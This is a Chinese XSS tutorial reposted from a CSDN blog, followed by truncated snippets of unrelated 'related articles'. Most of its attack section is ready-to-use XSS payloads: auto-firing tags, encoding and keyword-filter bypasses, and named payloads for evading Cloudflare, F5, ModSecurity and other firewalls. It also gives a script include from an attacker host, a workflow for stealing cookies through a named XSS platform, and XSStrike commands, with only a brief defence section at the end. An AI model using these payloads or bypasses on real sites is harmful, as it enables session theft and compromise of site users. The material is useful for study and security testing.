XSS(跨站攻击)
XSS漏洞(跨站脚本)
1.XSS 漏洞简介
XSS又叫CSS(Cross Site Script)跨站脚本攻击是指恶意攻击者往Web页面里插入恶意Script代码,当用户浏览该页之时,嵌入其中Web里面的Script代码会被执行,从而达到恶意攻击用户的目的。
xss漏洞通常是通过php的输出函数将javascript代码输出到html页面中,通过用户本地浏览器执行的,所以xss漏洞关键就是寻找参数未过滤的输出函数。
常见的输出函数有: echo printf print print_r sprintf die var-dump var_export.
2.XSS的原理
- 攻击者对含有漏洞的服务器发起XSS攻击(注入JS代码)。
- 诱使受害者打开受到攻击的服务器URL。
- 受害者在Web浏览器中打开URL,恶意脚本执行。
3.XSS的攻击方式
- 反射型XSS:<非持久化> 攻击者事先制作好攻击链接, 需要欺骗用户自己去点击链接才能触发XSS代码(服务器中没有这样的页面和内容),一般容易出现在搜索页面。一般是后端代码进行处理
- 存储型XSS:<持久化> 代码是存储在服务器数据库中的,如在个人信息或发表文章等地方,加入代码,如果没有过滤或过滤不严,那么这些代码将储存到服务器中,每当有用户访问该页面的时候都会触发代码执行,这种XSS非常危险,容易造成蠕虫,大量盗窃cookie(虽然还有种DOM型XSS,但是也还是包括在存储型XSS内)。
- DOM型XSS:基于文档对象模型Document Objeet Model,DOM)的一种漏洞。DOM是一个与平台、编程语言无关的接口,它允许程序或脚本动态地访问和更新文档内容、结构和样式,处理后的结果能够成为显示页面的一部分。DOM中有很多对象,其中一些是用户可以操纵的,如uRI ,location,refelTer等。客户端的脚本程序可以通过DOM动态地检查和修改页面内容,它不依赖于提交数据到服务器端,而从客户端获得DOM中的数据在本地执行,如果DOM中的数据没有经过严格确认,就会产生DOM XSS漏洞。一般是浏览器前端代码进行处理。
4.XSS的危害
1.挂马
2.盗取用户Cookie。
3.DOS(拒绝服务)客户端浏览器。
4.钓鱼攻击,高级的钓鱼技巧。
5.删除目标文章、恶意篡改数据、嫁祸。
6.劫持用户Web行为,甚至进一步渗透内网。
7.爆发Web2.0蠕虫。
8.蠕虫式的DDoS攻击。
9.蠕虫式挂马攻击、刷广告、刷浏量、破坏网上数据
10.其它安全问题
5.XSS的利用方式
- 需要一个xss平台来收集cookie
2. 对于反射型xss可构造链接,当用户点击时,用户cookie被发送到xss平台
3. 窃取用户cooike之后加以利用
可以基于xss平台进行利用
xss平台使用
https://xss8.cc/bdstatic.com/?callback=project&act=create
6.常见XSS攻击方式
一些常用的标签与属性
下面我列举的标签大部分是可以自动触发js代码的,无需用户去交互,大部分情况下我们也是希望是自动触发而不是等用户去触发。
1.scirpt 标签
<script> 标签用于定义客户端脚本,比如 JavaScript。
<script>alert(1);</script>
<script>alert("xss");</script>
2.img 标签
<img> 标签定义 HTML 页面中的图像。
<img src=1 onerror=alert(1);>
<img src=1 onerror=alert("xss");>
3.input 标签
<input> 标签规定了用户可以在其中输入数据的输入字段。
onfocus 事件在对象获得焦点时发生:
<input onfocus=alert(1);>
竞争焦点,从而触发onblur事件:
<input onblur=alert(1) autofocus><input autofocus>
input 标签的 autofocus 属性规定当页面加载时 元素应该自动获得焦点。可以通过autofocus属性自动执行本身的focus事件,这个向量是使焦点自动跳到输入元素上,触发焦点事件,无需用户去触发:
<input onfocus="alert(1);" autofocus>
" οnclick=alert(1)> 这样需要点击一下输入框<br>
" onmouseover=alert(1)> 需要鼠标划过输入框<br>
4.details 标签
<details> 标签通过提供用户开启关闭的交互式控件,规定了用户可见的或者隐藏的需求的补充细节。ontoggle 事件规定了在用户打开或关闭 <details> 元素时触发:<details ontoggle=alert(1);>
使用details 标签的 open 属性触发ontoggle事件,无需用户去点击即可触发:
<details open ontoggle=alert(1);>
5.svg 标签
<svg> 标签用来在HTML页面中直接嵌入SVG 文件的代码。
<svg onload=alert(1);>
6.select 标签
<select> 标签用来创建下拉列表。
<select onfocus=alert(1)></select通过autofocus属性规定当页面加载时元素应该自动获得焦点,这个向量是使焦点自动跳到输入元素上,触发焦点事件,无需用户去触发:
<select onfocus=alert(1) autofocus>
7.iframe 标签
<iframe> 标签会创建包含另外一个文档的内联框架。<iframe onload=alert(1);></iframe>
8.video 标签
<video> 标签定义视频,比如电影片段或其他视频流。<video><source onerror=alert(1)>
9.audio 标签
<audio> 标签定义声音,比如音乐或其他音频流。<audio src=x onerror=alert(1);>
10.body 标签
<body> 标签定义文档的主体。<body onload=alert(1);>
onscroll 事件在元素滚动条在滚动时触发。我们可以利用换行符以及autofocus,当用户滑动滚动条的时候自动触发,无需用户去点击触发:
<body
onscroll=alert(1);><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><input autofocus>
11.textarea 标签
<textarea> 标签定义一个多行的文本输入控件。<textarea onfocus=alert(1); autofocus>
12.keygen 标签
<keygen autofocus onfocus=alert(1)> //仅限火狐
13.marquee 标签
<marquee onstart=alert(1)></marquee> //Chrome不行,火狐和IE都可以
14.isindex 标签
<isindex type=image src=1 onerror=alert(1)>//仅限于IE
7.常见基本过滤方法
1.空格过滤
当空格被过滤了时,我们可以用 /
来代替空格:
/**/,注释符号绕过;/符号绕过;<img/src="x"/onerror=alert(1);>也可以:<img/src="x"onerror=alert(1);>
2.引号过滤
如果是html标签中,我们可以不用引号。如果是在js中,我们可以用反引号代替单双引号:<img src=x onerror=alert(`xss`);>
3.括号过滤
当括号被过滤的时候可以使用throw来绕过。throw 语句用于当错误发生时抛出一个错误。
<img src=x onerror="javascript:window.onerror=alert;throw 1">
<a onmouseover="javascript:window.onerror=alert;throw 1>
4.关键字过滤
大小写绕过
<sCRiPt>alert(1);</sCrIpT>
<ImG sRc=x onerRor=alert(1);>
双写绕过
有些waf可能会只替换一次且是替换为空,这种情况下我们可以考虑双写关键字绕过
<scrscriptipt>alert(1);</scrscriptipt>
<imimgg srsrcc=x onerror=alert(1);>
5.字符串拼接绕过
利用eval()函数
与PHP的eval()函数相同,JavaScript的eval()函数也可以计算 JavaScript 字符串,并把它作为脚本代码来执行。
<img src="x" onerror="a='aler';b='t';c='(1)';eval(a+b+c)">
<img src="x" onerror="a=`aler`;b=`t`;c='(`xss`);';eval(a+b+c)">
// 在js中,我们可以用反引号代替单双引号
6.编码绕过
Unicode编码绕过<img src="x" onerror="alert("xss");">javascript:alert(/xss/) (编码了r和i)<img src="x" onerror="eval('\u0061\u006c\u0065\u0072\u0074\u0028\u0022\u0078\u0073\u0073\u0022\u0029\u003b')">
url编码绕过<img src="x" onerror="eval(unescape('%61%6c%65%72%74%28%22%78%73%73%22%29%3b'))"><iframe src="data:text/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E"></iframe>
Ascii码绕过<img src="x" onerror="eval(String.fromCharCode(97,108,101,114,116,40,34,120,115,115,34,41,59))">
hex绕过<img src=x onerror=eval('\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29')>
base64绕过<img src="x" onerror="eval(atob('ZG9jdW1lbnQubG9jYXRpb249J2h0dHA6Ly93d3cuYmFpZHUuY29tJw=='))"><iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=">
7.过滤url地址
使用url编码<img src="x" onerror=document.location=`http://%77%77%77%2e%62%61%69%64%75%2e%63%6f%6d/`>javascript:alert('xsshttp://')
使用IP1.十进制IP
<img src="x" onerror=document.location=`http://2130706433/`>2.八进制IP
<img src="x" onerror=document.location=`http://0177.0.0.01/`>3.hex
<img src="x" onerror=document.location=`http://0x7f.0x0.0x0.0x1/`>
4.html标签中用//可以代替http://
<img src="x" onerror=document.location=`//www.baidu.com`>5.使用\\
但是要注意在windows下\本身就有特殊用途,是一个path 的写法,所以\\在Windows下是file协议,在linux下才会是当前域的协议6.使用中文逗号代替英文逗号
如果你在你在域名中输入中文句号浏览器会自动转化成英文的逗号
<img src="x" onerror="document.location=`http://www。baidu。com`">//会自动跳转到百度
8.单引号闭合+htmlspecialchars函数绕过
'onmouseover='alert(/xss/)
9.JavaScript伪协议
"><a href=javascript:alert(/xss/)> o_n和<scr_ipt>过滤
8.HttpOnly绕过
1.什么是HttpOnly?
如果您在cookie中设置了HttpOnly属性,那么通过js脚本将无法读取到cookie信息,这样能有效的防止XSS攻击,具体一点的介绍请google进行搜索
2.javaEE的API是否支持?
目前sun公司还没有公布相关的API,但PHP、C#均有实现。搞javaEE的兄弟们比较郁闷了,别急下文有变通实现
3.HttpOnly的设置样例
javaEE
response.setHeader(“Set-Cookie”, “cookiename=value;
Path=/;Domain=domainvalue;Max-Age=seconds;HTTPOnly”);
具体参数的含义再次不做阐述,设置完毕后通过js脚本是读不到该cookie的,但使用如下方式可以读取
Cookie cookies[]=request.getCookies();
C#
HttpCookie myCookie = new HttpCookie("myCookie");
myCookie.HttpOnly = true;
Response.AppendCookie(myCookie);
VB.NET
Dim myCookie As HttpCookie = new HttpCookie("myCookie")
myCookie.HttpOnly = True
Response.AppendCookie(myCookie)
但是在 .NET 1.1 ,中您需要手动添加
Response.Cookies[cookie].Path += “;HTTPOnly”;
PHP4
header("Set-Cookie: hidden=value; httpOnly");
PHP5
setcookie("abc", "test", NULL, NULL, NULL, NULL, TRUE);
最后一个参数为HttpOnly属性
9.常规waf绕过思路
1.标签语法替换
<scr<script>ipt>alert("XSS")</scr<script>ipt>
<script>alert("XSS")</script>
<script src="http://attacker.org/malicious.js"></script>
2.特殊符号干扰
3.提交方式更改
4.垃圾数据溢出
5.加密解密算法
6.结合其他漏洞绕过
下面的列表包含了可绕过的WAF、Paylaod以及相关的绕过技术
WAF名称:Cloudflare
Payload:<a”/onclick=(confirm)()>click
绕过技术:非空格填充
WAF名称:Wordfence
Payload:<a/href=javascript:alert()>click
绕过技术:数字字符编码
WAF名称:Barracuda
Payload:<a/href=Java%0a%0d%09script:alert()>click
绕过技术:数字字符编码
WAF名称:Comodo
Payload:<d3v/onauxclick=(((confirm)))“>click
绕过技术:黑名单中缺少事件处理器以及函数调用混淆
WAF名称:F5
Payload:<d3v/onmouseleave=[2].some(confirm)>click
绕过技术:黑名单中缺少事件处理器以及函数调用混淆
WAF名称:ModSecurity
Payload:<details/open/ontoggle=alert()>
绕过技术:黑名单中缺少标签或事件处理器
WAF名称:dotdefender
Payload:<details/open/ontoggle=(confirm)()//
绕过技术:黑名单中缺少结束标签、事件处理器和函数调用混淆
10.XSStrike工具使用
1.测试一个使用GET方法的网页:
python xsstrike.py -u "http://example.com/search.php?q=query"
2.测试POST数据:
python xsstrike.py -u "http://example.com/search.php" --data "q=query"
python xsstrike.py -u "http://example.com/search.php" --data '{"q":"query"} --json'
3.测试URL路径:
python xsstrike.py -u "http://example.com/search/form/query" --path
4.从目标网页开始搜寻目标并进行测试
python xsstrike.py -u "http://example.com/page.php" --crawl
您可以指定爬网的深度,默认2:-l
python xsstrike.py -u "http://example.com/page.php" --crawl -l 3
5.如果要测试文件中的URL,或者只是想添加种子进行爬网,则可以使用该–seeds选项:
python xsstrike.py --seeds urls.txt
6.查找隐藏的参数:
通过解析HTML和暴力破解来查找隐藏的参数
python xsstrike.py -u "http://example.com/page.php" --params
7.盲XSS:爬行中使用此参数可向每个html表单里面的每个变量插入xss代码
python xsstrike.py -u http://example.com/page.php?q=query --crawl --blind
8.模糊测试–fuzzer
该模糊器旨在测试过滤器和Web应用程序防火墙,可使用-d选项将延迟设置为1秒。
python xsstrike.py -u "http://example.com/search.php?q=query" --fuzzer
9.跳过DOM扫描
在爬网时可跳过DOM XSS扫描,以节省时间
python xsstrike.py -u "http://example.com/search.php?q=query" --skip-dom
10.更新:
如果跟上–updata选项,XSStrike将检查更新。如果有更新的版本可用,XSStrike将下载更新并将其合并到当前目录中,而不会覆盖其他文件。
python xsstrike.py --update
11.XSS的防御措施
(1)编码:对用户输入的数据进行HTML Entity编码
(2)过滤:移除用户上传的DOM属性,如onerror等,移除用户上传的style节点,script节点,iframe节点等。
(3)校正:避免直接对HTML Entity编码,使用DOM Prase转换,校正不配对的DOM标签。
本文转自 https://blog.csdn.net/huangyongkang666/article/details/123624164?ops_request_misc=%257B%2522request%255Fid%2522%253A%25229cc9cfc6116a1a0e7a4853c7cc08e115%2522%252C%2522scm%2522%253A%252220140713.130102334…%2522%257D&request_id=9cc9cfc6116a1a0e7a4853c7cc08e115&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2alltop_positive~default-1-123624164-null-null.142v100pc_search_result_base8&utm_term=xss&spm=1018.2226.3001.4187,如有侵权,请联系删除。
相关文章:
XSS(跨站攻击)
XSS漏洞(跨站脚本) 1.XSS 漏洞简介 XSS又叫CSS(Cross Site Script)跨站脚本攻击是指恶意攻击者往Web页面里插入恶意Script代码,当用户浏览该页之时,嵌入其中Web里面的Script代码会被执行,从…...
华为自反ACL实验
一、实验背景 做这个实验的原因是最近公司里上了三台小程序服务器,由于三台服务器的端口都映射出去了,领导要求A网段的三台服务器不能访问内网B,C网段,同时B、C网段内网用户可以访问A段的94、95、96服务器; 也就是PC4\…...
MyBatisPlus实现多表查询
在MyBatisPlus中实现多表查询,主要有以下几种方法: 使用注解进行多表查询: 你可以在Mapper接口中使用Select注解来编写SQL查询语句,实现多表查询。例如,如果你想根据用户ID查询用户信息和对应的区域名称,可…...
【人工智能-中级】循环神经网络(RNN)与Transformer在自然语言处理中的进阶应用
循环神经网络(RNN)与Transformer在自然语言处理中的进阶应用 自然语言处理(NLP)是人工智能领域中的重要分支,其主要任务是使计算机能够理解、生成和处理人类语言。近年来,循环神经网络(RNN)和Transformer模型已成为NLP领域的两大核心技术。本文将探讨这两类模型在自然…...
ZED相机应用
下载SDK wget https://stereolabs.sfo2.cdn.digitaloceanspaces.com/zedsdk/3.6/ZED_SDK_Ubuntu18_cuda11.5_v3.6.5.run 安装 ./ZED_SDK_Ubuntu18_cuda11.5_v3.6.5.run skip_python 测试 cd /usr/local/zed/tools ls ZED_Calibration ZED_Depth_Viewer ZED_Diagnostic ZED_E…...
大模型呼入机器人如何赋能呼叫中心?(转)
大模型呼入机器人如何赋能呼叫中心?(转) 原作者:开源呼叫中心FreeIPCC 大模型呼入机器人在赋能呼叫中心方面发挥着重要作用,主要体现在以下几个方面: 一、提升服务效率与质量 24小时不间断服务: 大模型呼入机器人能…...
基于Python对xslxslx文件进行操作
利用python操作表格文件 读取xsl格式文件-源码 import xlrd# 读取xls文件中的工作对象 wb xlrd.open_workbook(示例文件/xxx物理学与信息技术学院.xls) print(wb)# 获取所有的工作表名称 sheet_names wb.sheet_names() # print(sheet_names)# 选择要读取的具体工作表对象 s…...
预处理器Stylus的介绍及使用,并同Less、Sass进行对比(简单介绍)
目录 一、安装与配置 安装Node.js: 安装Stylus: 配置Webpack: 二、编写Stylus代码 定义变量: 使用变量: 嵌套语法: 混合(Mixins): 函数: 6.关键字参…...
ansible自动化运维(四)jinjia2模板
Jinjia2模板 前面说到playbook组成的时候,有介绍到template模块,而template模块对模板文件进行渲染时,使用的就是jinja2模板引擎,jinja2本身就是基于python的模板引擎,所以下面先来了解一下jinjia2模板的一些用法 基…...
ubuntu系统的docker安装(2)
查看系统版本 lsb_release -asudo systemctl status docker查看docker是否安装成功 docker pull拉取镜像不成功/docker run不成功 可能有多种原因:网络链接不稳定,没有重启docker,可以先将docker源设置为国内镜像源 sudo systemctl rest…...
.Net C#医院检验系统源码,实验室管理信息LIS系统
LIS系统源代码,.Net C#医院检验系统源码,三级医院应用案例,自主版权,适合二次开发上项目。 本套实验室管理信息LIS系统采用.Net C#语言开发,用C/S架构。支持DB2,Oracle,MS SQLServer等主流数据库。可根据医院情况配置…...
STM32-FATFS文件系统
一、FATFS文件系统介绍: FATFS 是一个完全免费开源的 FAT/exFAT 文件系统模块,专门为小型的嵌入式系统而设计。它完全用标准 C 语言(ANSI C C89)编写,所以具有良好的硬件平台独立性,只需做简单的修改就可以…...
【多模态】swift框架使用qwen2-vl
前言 前几篇里面学习了常见的一些多模态模型的典型架构和源代码,上一篇里面测试使用了minicpm-v系列模型,在尝试RLHF的时候发现swift特别好用特别全,记录一下对swift的一些使用,欢迎批评指正~ 前一篇里面写了minic…...
什么是全局对象和全局变量
在JavaScript中,全局对象和全局变量是两个重要的概念,它们与代码的执行环境和作用域紧密相关。 全局对象 全局对象(Global Object)是在代码的任何地方都能访问到的对象。在浏览器环境中,全局对象通常是window对象&…...
【收藏】Cesium billboard添加icon图片、label文字带背景图片(使用canvas绘制实现,附完整源码,vue2或vue3+vite都适用)
1.效果 在项目开发过程中,有一个需求是有若干个需要展示的点,每个点icon不一样、对应的广告牌文字不一样、并且文字还需要有图片背景、每个文字背景也不同(抓狂)。这种需求只能编写canvas来绘制“icon文字背景文字”的image&#…...
【安卓开发】【Android Studio】启动时报错“Unable to access Android SDK add-on list”
一、问题描述 在启动Android Studio时,软件报错:Unable to access Android SDK add-on list,报错截图如下: 二、原因及解决方法 初步推测是由于网络节点延迟,无法接入谷歌导致的。点击Cancel取消即可。...
前缀和的两种构造方法
方法1 public preSum(int[] nums) {// preSum[0] 0;preSum new int[nums.length 1];// 计算 nums 的累加和for (int i 1; i < preSum.length; i) {preSum[i] preSum[i - 1] nums[i - 1];}} 方法2 public preSum(int[] nums) {preSum[0] nums[0];preSum …...
Linux —— vim 编辑器
一、什么是vim vim是一个功能强大、高度可定制的文本编辑器。以下是对vim编辑器的具体介绍: 历史背景:vim最初由Bram Moolenaar在1991年开发,作为vi编辑器的增强版,增加了许多新的特性和改进。它继承了vi的基本编辑功能和键盘快捷…...
pytorch torch.where函数
torch.where 是 PyTorch 中用于条件选择的函数。它可以根据一个布尔条件在两个张量中选择元素,从而生成一个新的张量。 函数定义 torch.where(condition, input, other)参数说明: condition 一个布尔张量,表示条件判断结果。形状可以与 in…...
【JAVA】Java项目实战—Java EE项目:企业资源规划(ERP)系统
在企业管理中,企业资源规划(ERP)系统是不可或缺的工具。它能够帮助企业高效管理各种资源,包括人力资源、财务资源和库存等。Java作为一种成熟的编程语言,因其跨平台特性、强大的生态系统以及良好的社区支持,…...
操作系统笔记
操作系统 历史 无操作系统 : 1946年~1950年代末期:第1代计算机,硬件以电子管为主,无操作系统。使用纸带传输程序和数据,操作系统只起加载作用。批处理操作系统 :1960年代初期~1960年代中期:第…...
go-zero(十二)消息队列
go zero 消息队列 在微服务架构中,消息队列主要通过异步通信实现服务间的解耦,使得各个服务可以独立发展和扩展。 go-zero中使用的队列组件go-queue,是gozero官方实现的基于Kafka和Beanstalkd 的消息队列框架,我们使用kafka作为演示。 一、…...
CSS3 常用特性及应用全解析
CSS3 常用特性及应用全解析 在前端开发领域,CSS3 以其丰富多样的特性为网页增添了绚丽的视觉效果与流畅的交互体验。本文将详细介绍一些 CSS3 的常见知识及其使用方法,助力开发者打造更具吸引力的网页。 一、边框效果升级 (一ÿ…...
revit转gltf,revit转3dtiles,如何将Revit模型转为3DTiles格式并在Cesiumjs中高效可视化
Revit模型导出gltf、glb与3dtiles有多种方式,但一般的商业工具收费普遍较高:Cesiumlab导出3dTile格式数据,Cesiumlab暂时可试用3天,会员版收费每年800;BimAngleEngine导出3dTile格式数据BimAngleEngine暂时可试用30天&…...
Unity学习笔记(二)如何制作角色动画
前言 本文为Udemy课程The Ultimate Guide to Creating an RPG Game in Unity学习笔记 创建一个角色 我们的目的是创建一个可移动、跳跃、冲刺等动作的角色 需要的组件:Rigidbody(用于创建物理规则)、Collider(用于检测碰撞&am…...
基于卷积神经网络的Caser算法
将一段交互序列嵌入到一个以时间为纵轴的平面空间中形成“一张图”后,基于卷积序列嵌入的推荐(Caser)算法利用多个不同大小的卷积滤波器,来捕捉序列中物品间的点级(point-level)、联合的(union-…...
Java中服务器代理(Proxy)详解
Java中服务器代理(Proxy)详解 服务器代理(Proxy)在网络编程和分布式系统中是一个至关重要的概念,其功能远超一般的网络请求转发。在现代互联网架构中,代理不仅广泛应用于负载均衡、访问控制和安全防护&…...
css中相对定位的应用场景
元素位置微调 文本与图标组合微调:在网页设计中,经常会有文本和图标的组合,比如一个带有搜索图标的搜索框。可以使用相对定位来微调图标在搜索框内的位置。例如,有以下HTML结构: <input type"text" class…...
人工智能技术的深度解析与推广【人工智能的应用场景】
前些天发现了一个巨牛的人工智能学习网站,通俗易懂,风趣幽默, 忍不住分享一下给大家。点击跳转到网站 学习总结 1、掌握 JAVA入门到进阶知识(持续写作中……) 2、学会Oracle数据库入门到入土用法(创作中……) 3、手把…...
Quad Remesher使用教程
为什么要拓扑? 我们知道,模型在三维软件中的表现,是由一系列的面通过不同角度组合而成的。3D模型制作层面上的拓扑,按我的理解来说,就是一个模型的面的结构分布——布线。想表现和制作一个三维模型,有无限…...
【经验分享】容器云运维的知识点
最近忙于备考没关注,有次点进某小黄鱼发现首页出现了我的笔记还被人收费了 虽然我也卖了一些资源,但我以交流、交换为主,笔记都是免费给别人看的 由于当时刚刚接触写的并不成熟,为了避免更多人花没必要的钱,所以决定公…...
NDRCContextUnmarshall断点函数分析之I_RpcBindingCopy函数的作用
NDRCContextUnmarshall断点函数分析之I_RpcBindingCopy函数的作用 第一部分: void RPC_ENTRY NDRCContextUnmarshall ( // process returned context OUT NDR_CCONTEXT PAPI *phCContext,// stub context to update IN RPC_BINDING_HANDLE hRPC, …...
代码随想录算法训练营第三十二天|动态规划理论基础|LC509.肥波那些数|LC70.爬楼梯|LC746.使用最小花费爬楼梯
动态规划理论基础 解释:动态规划,英文:Dynamic Programming,简称DP;如果某一问题有很多重叠子问题,使用动态规划是最有效的。 动态规划五部曲: 1、确定dp数组(dp table)…...
[每周一更]-(第127期):Go新项目-Gin中使用超时中间件实战(11)
在项目不断迭代过程中,发现基础架构中,没有进行超时控制,有些接口由于网络延迟以及远程调用等情况存在请求时间过长的问题,消耗了资源,也降低了用户体验,这一讲我们聊下超时控制中间件,来完善我…...
【HAL库】STM32CubeMX开发----STM32F407----Time定时器中断实验
STM32CubeMX 下载和安装 详细教程 【HAL库】STM32CubeMX开发----STM32F407----目录 前言 本次实验以 STM32F407VET6 芯片为MCU,使用 25MHz 外部时钟源。 实现定时器TIM3中断,每1s进一次中断。 定时器计算公式如下: arr 是自动装载值&#x…...
使用idea创建一个JAVA WEB项目
文章目录 1. javaweb项目简介2. 创建2.1 idea新建项目2.2 选择,命名2.3 打开2.4 选择tomcat运行2.5 结果 3. 总结 1. javaweb项目简介 JavaWeb项目是一种基于Java技术的Web应用程序,主要用于开发动态网页和Web服务。这种项目能够构建在Java技术栈之上&a…...
PDF 文件如何转为 CAD 图纸?PDF2CAD 使用教程
在工程设计和建筑行业中,PDF 文件常常被用来分享和存档图纸。然而,当需要对这些图纸进行编辑或进一步开发时,静态的 PDF 格式就显得力不从心了。这时候,将 PDF 文件转换为可编辑的 CAD(计算机辅助设计)格式…...
Spring Boot 集成 MyBatis 全面讲解
Spring Boot 集成 MyBatis 全面讲解 MyBatis 是一款优秀的持久层框架,与 Spring Boot 集成后可以大大简化开发流程。本文将全面讲解如何在 Spring Boot 中集成 MyBatis,包括环境配置、基础操作、高级功能和最佳实践。 一、MyBatis 简介 1. SqlSession …...
SpringBoot | SpringBoot原理分析
SpringBoot原理分析(一).jpg SpringBoot原理分析(二).jpg 核心要点: 1、SpringBootApplication 2、SpringBootConfiguration 3、ComponentScan 4、EnableAutoConfiguration 5、AutoConfigurationPackages 6、import(Au…...
解决“VMware虚拟机报Intel VT-x”错误
今天,在windows系统上,打开VMware WorkStation v15软件里的虚拟机,弹出"Intel VT-x处于禁用状态"错误,如图(1)所示: 图(1) 虚拟机报"Intel VT-x"错误 问题原因:当前电脑的BIOS没有开启…...
LeetCode200.岛屿数量
题目 给你一个由 ‘1’(陆地)和 ‘0’(水)组成的的二维网格,请你计算网格中岛屿的数量。 岛屿总是被水包围,并且每座岛屿只能由水平方向和/或竖直方向上相邻的陆地连接形成。 此外,你可以假设…...
python学opencv|读取图像(七)抓取像素数据顺利修改图像大小
【1】引言 前序我们已经学习图像的基本读取操作,文章链接为: python学opencv|读取图像-CSDN博客 也掌握了彩色图像的保存: python学opencv|读取图像(二)保存彩色图像_python opencv 读取图像转为彩色-CSDN博客 以…...
Qt Pro 常用配置
Part1: Summary Qt 开发中 Pro 文件的内容很多,需要不断的去学习和使用,现系统性的整理一下。以备录; 1.创建pro文件 1.1 步骤: Qt Creator--->New Project--->应用程序--->Qt Widgets Application--->名称为&…...
源码分析之Openlayers中默认Controls控件渲染原理
概述 Openlayers 中默认的三类控件是Zoom、Rotate和Attribution 源码分析 defaults方法 Openlayers 默认控件的集成封装在defaults方法中,该方法会返回一个Collection的实例,Collection是一个基于数组封装了一些方法,主要涉及到数组项的添…...
银河麒麟桌面操作系统添加WPS字体
【使用场景】 银河麒麟桌面操作系统支持添加WPS字体。在银河麒麟桌面操作系统中使用WPS软件编辑文档时存在需要添加WPS字体的情况,例如字体缺失或者需要特殊字体时,需要添加WPS字体。 【操作方法】 步骤一:在互联网上搜索并下载.ttf格式的字体文件。 步骤二:下载完成后,在…...
利用Python实现多元回归预测汽车价格
引言: AI技术的热门使得大家对机器学习有了更多的关注,作为与AI技术息息相关的一门课程,从头了解基础的机器学习算法就显得十分有必要,如:梯度下降,线性回归等。 正文: 本文将讲解线性回归中多元回回归的案例 机器学习大致可以分为监督学习,非监督学习、半监督学习还…...
16、PyTorch中进行卷积残差模块算子融合
文章目录 1. 1x1卷积核-> 3x3卷积核2. 输入x --> 3x3卷积核,无变化3. 代码 1. 1x1卷积核-> 3x3卷积核 假设我们有一个1x1的卷积核,需要通过填充变为一个3x3的卷积核,实现的是像素之间无关联 [ 4 ] → [ 0 0 0 0 4 0 0 0 0 ] \begin{equation}…...
CMake简单使用(二)
目录 五、scope 作用域5.1 作用域的类型5.1.1 全局作用域5.1.2 目录作用域5.1.3 函数作用域 六、宏6.1 基本语法6.2 演示代码 七、CMake构建项目7.1 全局变量7.2 写入源码路径7.3 调用子目录cmake脚本7.4 CMakeLists 嵌套(最常用) 八、CMake 与库8.1 CMake生成动静态库8.1.1 动…...
React和Vue中暴露子组件的属性和方法给父组件用,并且控制子组件暴露的颗粒度的做法
React 在 React 中,forwardRef 是一种高级技术,它允许你将 ref 从父组件传递到子组件,从而直接访问子组件的 DOM 节点或公开的方法。这对于需要操作子组件内部状态或 DOM 的场景非常有用。为了使子组件能够暴露其属性和方法给父组件…...
MATLAB 识别色块和数量
文章目录 前言步骤 1: 读取图像步骤 2: 转换为 HSV 颜色空间步骤 3: 定义颜色范围步骤 4: 创建颜色掩码步骤 5: 应用形态学操作(可选)步骤 6: 标记和显示结果完整代码步骤七 返回色块坐标 总结 前言 提示:这里可以添加本文要记录的大概内容&…...